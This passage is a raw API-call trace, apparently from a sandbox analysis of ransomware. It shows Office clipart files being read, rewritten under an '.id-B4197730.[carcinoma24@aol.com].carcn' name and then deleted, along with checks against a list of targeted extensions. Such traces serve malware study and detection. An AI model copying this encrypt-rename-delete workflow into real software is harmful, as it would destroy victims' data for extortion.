liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.430] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0303.431] GetLastError () returned 0x0 [0303.431] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x432, lpOverlapped=0x0) returned 1 [0303.431] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x440, lpOverlapped=0x0) returned 1 [0303.432] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.433] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.433] SetEndOfFile (hFile=0x370) returned 1 [0303.433] CloseHandle (hObject=0x370) returned 1 [0303.433] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.433] SetEndOfFile (hFile=0x380) returned 1 [0303.434] CloseHandle (hObject=0x380) returned 1 [0303.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0303.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.434] lstrlenW (lpString=".doc") returned 4 [0303.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.435] lstrlenW (lpString=".docx") returned 5 [0303.435] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.435] lstrlenW (lpString=".pdf") returned 4 [0303.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.435] lstrlenW (lpString=".xls") returned 4 [0303.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.435] lstrlenW (lpString=".xlsx") returned 5 [0303.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.435] lstrlenW (lpString=".ppt") returned 4 [0303.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.435] lstrlenW (lpString=".zip") returned 4 [0303.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.435] lstrlenW (lpString=".rar") returned 4 [0303.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.435] lstrlenW (lpString=".bz2") returned 4 [0303.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.435] lstrlenW (lpString=".7z") returned 3 [0303.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.435] lstrlenW (lpString=".dbf") returned 4 [0303.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.435] lstrlenW (lpString=".1cd") returned 4 [0303.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.435] lstrlenW (lpString=".jpg") returned 4 [0303.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.436] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.436] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0303.436] GetLastError () returned 0x0 [0303.436] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x738, lpOverlapped=0x0) returned 1 [0303.437] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x740, lpOverlapped=0x0) returned 1 [0303.438] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.438] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.438] SetEndOfFile (hFile=0x370) returned 1 [0303.438] CloseHandle (hObject=0x370) returned 1 [0303.438] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.439] SetEndOfFile (hFile=0x380) returned 1 [0303.440] CloseHandle (hObject=0x380) returned 1 [0303.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0303.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0303.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0303.440] lstrlenW (lpString=".doc") returned 4 [0303.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.440] lstrlenW (lpString=".docx") returned 5 [0303.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.440] lstrlenW (lpString=".pdf") returned 4 [0303.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.440] lstrlenW (lpString=".xls") returned 4 [0303.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.441] lstrlenW (lpString=".xlsx") returned 5 [0303.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.441] lstrlenW (lpString=".ppt") returned 4 [0303.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0303.441] lstrlenW (lpString=".zip") returned 4 [0303.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.441] lstrlenW (lpString=".rar") returned 4 [0303.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.441] lstrlenW (lpString=".bz2") returned 4 [0303.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.441] lstrlenW (lpString=".7z") returned 3 [0303.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0303.441] lstrlenW (lpString=".dbf") returned 4 [0303.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0303.441] lstrlenW (lpString=".1cd") returned 4 [0303.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0303.441] lstrlenW (lpString=".jpg") returned 4 [0303.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.441] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.441] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0303.442] GetLastError () returned 0x0 [0303.442] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2bb6, lpOverlapped=0x0) returned 1 [0303.443] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0303.444] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.444] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.445] SetEndOfFile (hFile=0x370) returned 1 [0303.445] CloseHandle (hObject=0x370) returned 1 [0303.445] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.445] SetEndOfFile (hFile=0x380) returned 1 [0303.446] CloseHandle (hObject=0x380) returned 1 [0303.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0303.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0303.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0303.447] lstrlenW (lpString=".doc") returned 4 [0303.447] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.447] lstrlenW (lpString=".docx") returned 5 [0303.447] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.447] lstrlenW (lpString=".pdf") returned 4 [0303.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.447] lstrlenW (lpString=".xls") returned 4 [0303.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.447] lstrlenW (lpString=".xlsx") returned 5 [0303.447] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.447] lstrlenW (lpString=".ppt") returned 4 [0303.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0303.447] lstrlenW (lpString=".zip") returned 4 [0303.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.447] lstrlenW (lpString=".rar") returned 4 [0303.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.447] lstrlenW (lpString=".bz2") returned 4 [0303.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.447] lstrlenW (lpString=".7z") returned 3 [0303.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0303.447] lstrlenW (lpString=".dbf") returned 4 [0303.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0303.448] lstrlenW (lpString=".1cd") returned 4 [0303.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0303.448] lstrlenW (lpString=".jpg") returned 4 [0303.448] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.448] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.448] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0303.449] GetLastError () returned 0x0 [0303.449] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x764, lpOverlapped=0x0) returned 1 [0303.450] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x770, lpOverlapped=0x0) returned 1 [0303.451] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.451] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.451] SetEndOfFile (hFile=0x370) returned 1 [0303.451] CloseHandle (hObject=0x370) returned 1 [0303.451] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.451] SetEndOfFile (hFile=0x380) returned 1 [0303.452] CloseHandle (hObject=0x380) returned 1 [0303.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0303.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0303.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0303.453] lstrlenW (lpString=".doc") returned 4 [0303.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.453] lstrlenW (lpString=".docx") returned 5 [0303.453] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.453] lstrlenW (lpString=".pdf") returned 4 [0303.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.453] lstrlenW (lpString=".xls") returned 4 [0303.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.453] lstrlenW (lpString=".xlsx") returned 5 [0303.453] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.453] lstrlenW (lpString=".ppt") returned 4 [0303.453] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0303.453] lstrlenW (lpString=".zip") returned 4 [0303.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.453] lstrlenW (lpString=".rar") returned 4 [0303.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.756] lstrlenW (lpString=".bz2") returned 4 [0303.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.757] lstrlenW (lpString=".7z") returned 3 [0303.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0303.757] lstrlenW (lpString=".dbf") returned 4 [0303.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0303.757] lstrlenW (lpString=".1cd") returned 4 [0303.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0303.757] lstrlenW (lpString=".jpg") returned 4 [0303.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.757] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.757] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0303.758] GetLastError () returned 0x0 [0303.758] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x6e34, lpOverlapped=0x0) returned 1 [0303.759] WriteFile (in: hFile=0x334, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x6e40, lpOverlapped=0x0) returned 1 [0303.760] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.760] WriteFile (in: hFile=0x334, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.760] SetEndOfFile (hFile=0x334) returned 1 [0303.760] CloseHandle (hObject=0x334) returned 1 [0303.761] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.761] SetEndOfFile (hFile=0x37c) returned 1 [0303.761] CloseHandle (hObject=0x37c) returned 1 [0303.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0303.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0303.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0303.762] lstrlenW (lpString=".doc") returned 4 [0303.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.762] lstrlenW (lpString=".docx") returned 5 [0303.762] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0303.762] lstrlenW (lpString=".pdf") returned 4 [0303.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.762] lstrlenW (lpString=".xls") returned 4 [0303.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.762] lstrlenW (lpString=".xlsx") returned 5 [0303.762] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0303.762] lstrlenW (lpString=".ppt") returned 4 [0303.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0303.762] lstrlenW (lpString=".zip") returned 4 [0303.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.763] lstrlenW (lpString=".rar") returned 4 [0303.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.763] lstrlenW (lpString=".bz2") returned 4 [0303.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.763] lstrlenW (lpString=".7z") returned 3 [0303.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0303.763] lstrlenW (lpString=".dbf") returned 4 [0303.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0303.763] lstrlenW (lpString=".1cd") returned 4 [0303.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0303.763] lstrlenW (lpString=".jpg") returned 4 [0303.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.763] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.763] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0303.764] GetLastError () returned 0x0 [0303.764] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x44e6, lpOverlapped=0x0) returned 1 [0303.765] WriteFile (in: hFile=0x334, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x44f0, lpOverlapped=0x0) returned 1 [0303.766] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.766] WriteFile (in: hFile=0x334, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.766] SetEndOfFile (hFile=0x334) returned 1 [0303.766] 